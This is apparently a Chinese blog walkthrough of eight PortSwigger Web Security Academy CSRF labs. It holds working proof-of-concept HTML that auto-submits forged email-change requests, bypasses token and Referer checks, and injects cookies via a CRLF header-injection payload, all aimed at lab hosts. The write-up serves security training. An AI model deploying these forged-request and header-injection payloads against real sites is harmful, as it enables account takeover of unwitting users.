Portswigger web security academy:Cross-site request forgery (CSRF)

1 - CSRF vulnerability with no defenses

  • 题目描述

    • 邮箱修改功能点存在CSRF漏洞
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 登录后在My account中修改邮箱,查看请求包

        1. POST /my-account/change-email HTTP/1.1
        2. Host: ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net
        3. Connection: close
        4. Content-Length: 21
        5. Origin: https://ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net
        6. Content-Type: application/x-www-form-urlencoded
        7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
        8. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        9. Referer: https://ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net/my-account
        10. Accept-Encoding: gzip, deflate
        11. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
        12. Cookie: session=gqDQJWQmvM9QFV69EzP1FJZmeTlsDRSd
        13. email=test%40test.com
      • 是直接发送目标邮箱,且没有token校验

    • 构造exp

        1. <html>
        2. <body>
        3. <script>history.pushState('', '', '/')</script>
        4. <form action="https://ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net/my-account/change-email" method="POST">
        5. <input type="hidden" name="email" value="test@test.com" />
        6. <input type="submit" value="Submit request" />
        7. </form>
        8. <script>
        9. document.forms[0].submit();
        10. </script>
        11. </body>
        12. </html>

2 -CSRF where token validation depends on request method

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 尝试阻止CSRF,但只针对了部分请求方法
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 在材料中,提示说有的token校验只针对了部分请求方法

      • 通过尝试,发现GET方法可以在不提交token的情况下修改邮箱
    • 构造exp

        1. <html>
        2. <!-- CSRF PoC - generated by Burp Suite Professional -->
        3. <body>
        4. <script>history.pushState('', '', '/')</script>
        5. <form action="https://ac381f531fe7dee7809a046e0031004f.web-security-academy.net/my-account/change-email">
        6. <input type="hidden" name="email" value="test@test.com" />
        7. <input type="submit" value="Submit request" />
        8. </form>
        9. <script>
        10. document.forms[0].submit();
        11. </script>
        12. </body>
        13. </html>

3 - CSRF where token validation depends on token being present

  • 题目描述

    • 邮箱修改功能点可以CSRF
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 材料中提示部分应用会忽略确实token的情况

    • 构造exp

        1. <html>
        2. <!-- CSRF PoC - generated by Burp Suite Professional -->
        3. <body>
        4. <script>history.pushState('', '', '/')</script>
        5. <form action="https://ac871f3c1f32032d801a270000120093.web-security-academy.net/my-account/change-email" method="POST">
        6. <input type="hidden" name="email" value="test@test.com" />
        7. <input type="submit" value="Submit request" />
        8. </form>
        9. <script>
        10. document.forms[0].submit();
        11. </script>
        12. </body>
        13. </html>

4 - CSRF where token is not tied to user session

  • 题目描述

    • 邮箱修改功能点存在CSRF
    • 该功能点尝试使用token来防止CSRF,但并没有和网站的session处理系统集成起来(token和session没有绑定)
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 登录任意账号,进入邮箱修改功能

    • 使用burp进行拦截,生成CSRF Poc并Drop请求

      1. <html>
      2. <!-- CSRF PoC - generated by Burp Suite Professional -->
      3. <body>
      4. <script>history.pushState('', '', '/')</script>
      5. <form action="https://ac631ff71f9c182d802e2ec000f30022.web-security-academy.net/my-account/change-email" method="POST">
      6. <input type="hidden" name="email" value="test@test.com" />
      7. <input type="hidden" name="csrf" value="6iu1DC1q5KNsK1ZCDZtfi2WhQ7nM2zJT" />
      8. <input type="submit" value="Submit request" />
      9. </form>
      10. <script>
      11. document.forms[0].submit();
      12. </script>
      13. </body>
      14. </html>
    • 上传到exploit server

5 - CSRF where token is tied to non-session cookie

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 改功能点尝试使用token来防止CSRF,但并没有完全和网站的session处理系统集成(使用了单另的cookie,而非session)
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 登录任意账号,记录csrfKey和token

    • 然后需要考虑一下如何设置cookie

      • 由于是跨域cookie,所以不能使用js来完成
      • 寻找有无可利用漏洞
        • 除了修改邮箱,登录,就只有搜索功能,抓包分析

        • 发现搜索的关键词直接被放进了返回包的header中,通过测试,发现存在CRLF漏洞
    • 构造exp(包含设置cookie的请求语句)

        1. <html>
        2. <!-- CSRF PoC - generated by Burp Suite Professional -->
        3. <body>
        4. <img/src="//ac141f341f7d0df7803f44ac001a00bc.web-security-academy.net/?search=asd;%0d%0aSet-Cookie:%20csrfKey=6L8paENDEqrAZQgvssSN5tHU96umwdLQ">
        5. <script>history.pushState('', '', '/')</script>
        6. <form action="https://ac141f341f7d0df7803f44ac001a00bc.web-security-academy.net/my-account/change-email" method="POST">
        7. <input type="hidden" name="email" value="asdasd8@qq.com" />
        8. <input type="hidden" name="csrf" value="nNEQkj7NnVQjCOUtVKXgfjSHSUg3iY8m" />
        9. <input type="submit" value="Submit request" />
        10. </form>
        11. <script>
        12. document.cookie="csrfKey=6L8paENDEqrAZQgvssSN5tHU96umwdLQ";
        13. document.forms[0].submit();
        14. </script>
        15. </body>
        16. </html>

6 - CSRF where token is duplicated in cookie

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 该功能点尝试使用双提交来阻止CSRF(cookie中的token和表单中的token一致)
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 思路

      • 寻找设置cookie的漏洞功能点
      • 根据修改邮箱的请求包,构造cookie和表单token相同的请求表单
    • 本题的cookie漏洞功能点与上一题一直

    • 构造exp

      • 发现使用与上一题相同的方式(img发送请求会出错,经过查看,是img还未响应的时候,表单就提交了,所以对exp进行修改,使用onerror属性进行表单提交(img标签如果请求数据出错或者请求数据非图片格式,则为error,之后看官方solution也是这么做的)

        1. <html>
        2. <!-- CSRF PoC - generated by Burp Suite Professional -->
        3. <body>
        4. <script>history.pushState('', '', '/')</script>
        5. <form action="https://acd01f381f9c35ec80f216ef00ba00c5.web-security-academy.net/my-account/change-email" method="POST">
        6. <input type="hidden" name="email" value="asdd@test.com" />
        7. <input type="hidden" name="csrf" value="yLpgPdEKU2X5w8lkdLDTUpNZnCzsXyaa" />
        8. <input type="submit" value="Submit request" />
        9. </form>
        10. <img/src="//acd01f381f9c35ec80f216ef00ba00c5.web-security-academy.net/?search=asd;%0d%0aSet-Cookie:%20csrf=yLpgPdEKU2X5w8lkdLDTUpNZnCzsXyaa" onerror="document.forms[0].submit()" />
        11. </body>
        12. </html>

7 - CSRF where Referer validation depends on header being present

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 尝试组织跨域的站点,但并不安全
  • 要求

    • 通过CSRF修改受害者的邮箱
  • 解题过程

    • 构造空Referer的exp(第一行meta标签使发出的任何请求(未指定Referer)的Referer都为空)

        1. <meta name="referrer" content="never">
        2. <html>
        3. <!-- CSRF PoC - generated by Burp Suite Professional -->
        4. <body>
        5. <script>history.pushState('', '', '/')</script>
        6. <form action="https://acd01f381f9c35ec80f216ef00ba00c5.web-security-academy.net/my-account/change-email" method="POST">
        7. <input type="hidden" name="email" value="test@test.com" />
        8. <input type="submit" value="Submit request" />
        9. </form>
        10. <script>
        11. document.forms[0].submit();
        12. </script>
        13. </body>
        14. </html>

8 - CSRF with broken Referer validation

  • 题目描述

    • 邮箱修改功能点存在CSRF
    • 尝试检测并组织跨域请求,但是检测机制可以被绕过
  • 要求

    • 修改受害者邮箱
  • 解题过程

    • 通过测试,发现检测方式为:是否包含目标域名

    • 构造exp

      • 我在exploit server里发现有file参数,可以修改路径,但是经过测试,referer只带了domain没有带path,于是去看了solution,要使用historypushState()函数

        • history.pushState(state, title[, url])

          • window.location="#xxx"一样,都会创建并激活一个新的历史记录,但history.pushState()可以是任意域名
          • 例子
            • history.pushState('', '', '/')表示我们是从(即Referer)当前url的/根目录来的
      • 那么只需要使用history.pushState('', '', '/?ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net'),即可使Referer为exploit server url/?ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net

        • 使用Chrome测试没有通过,但是Firefox可以
        1. <html>
        2. <!-- CSRF PoC - generated by Burp Suite Professional -->
        3. <body>
        4. <script>history.pushState('', '', '/?ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net')</script>
        5. <form action="https://ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net/my-account/change-email" method="POST">
        6. <input type="hidden" name="email" value="test@test.com" />
        7. <input type="submit" value="Submit request" />
        8. </form>
        9. <script>
        10. document.forms[0].submit();
        11. </script>
        12. </body>
        13. </html>

Portswigger web security academy:Cross-site request forgery (CSRF)的更多相关文章

  1. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  2. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  3. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  4. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  5. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  6. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  7. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  8. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  9. Portswigger web security academy:Server-side template injection(SSTI)

    Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...

随机推荐

  1. RabbitMQ简介、安装、基本特性API--Java测试

    新的阅读体验地址:http://www.zhouhong.icu/post/141 本篇文章所有的代码:https://github.com/Tom-shushu/Distributed-system ...

  2. js 数组的浅拷贝和深拷贝

    1.背景介绍 javascript分原始类型与引用类型.Array是引用类型,直接用"="号赋值的话,只是把源数组的地址(或叫指针)赋值给目的数组,指向的是同一个内存地址,其中一个 ...

  3. SpringBoot源码修炼—系统初始化器

    SpringBoot源码修炼-系统初始化器 传统SSM框架与SpringBoot框架简要对比 SSM搭建流程 缺点: 耗时长 配置文件繁琐 需要找合适版本的jar包 SpringBoot搭建流程 优点 ...

  4. 「NOIP模拟赛」Round 3

    Tag 计数+LIS, 二分+ST表, 计数+记搜 A. 改造二叉树 Description 题面 Solution 如果目标序列非严格递增,或者说目标序列是不下降的,那么答案就是 \(n\) 减去最 ...

  5. python学习之web中的html基础

     HTML简介及相关标签介绍 首先,我们要了解什么是HTML? HTML被称作超文本标记语言,是一门标记语言,即该语言由各类标记标签组成. 为什么学python要学HTML? 不管学习哪个语言,我们最 ...

  6. apk、dex完整性验证

    对Dex进行完整性的检查,可通过CRC,或者Hash值.可将校验值放到String资源文件里,或者放到服务器中. 1. 在代码中完成校验值对比逻辑,此部分代码后续不能再改变,否则CRC值会发生变化: ...

  7. 2019 GDUT Rating Contest I : Problem A. The Bucket List

    题面: A. The Bucket List Input file: standard input Output file: standard output Time limit: 1 second Me ...

  8. java 面试经典题

    面向对象编程(OOP) Java是一个支持并发.基于类和面向对象的计算机编程语言.下面列出了面向对象软件开发的优点: 代码开发模块化,更易维护和修改. 代码复用. 增强代码的可靠性和灵活性. 增加代码 ...

  9. 拇指记者深入Android公司,打探事件分发机制背后的秘密

    前言 聊到事件分发,很多朋友就会想到view的dispatchTouchEvent,其实在此之前,Android还做了很多工作. 比如跨进程获取输入事件的方式?在dispatchTouchEvent责 ...

  10. python进阶(3)--条件判断、用户输入

    文档目录: 一.if语句二.检索条件三.用户输入input四.while+inoput(),让用户选择何时退出五.break与continue六.while循环处理字典和列表 ------------ ...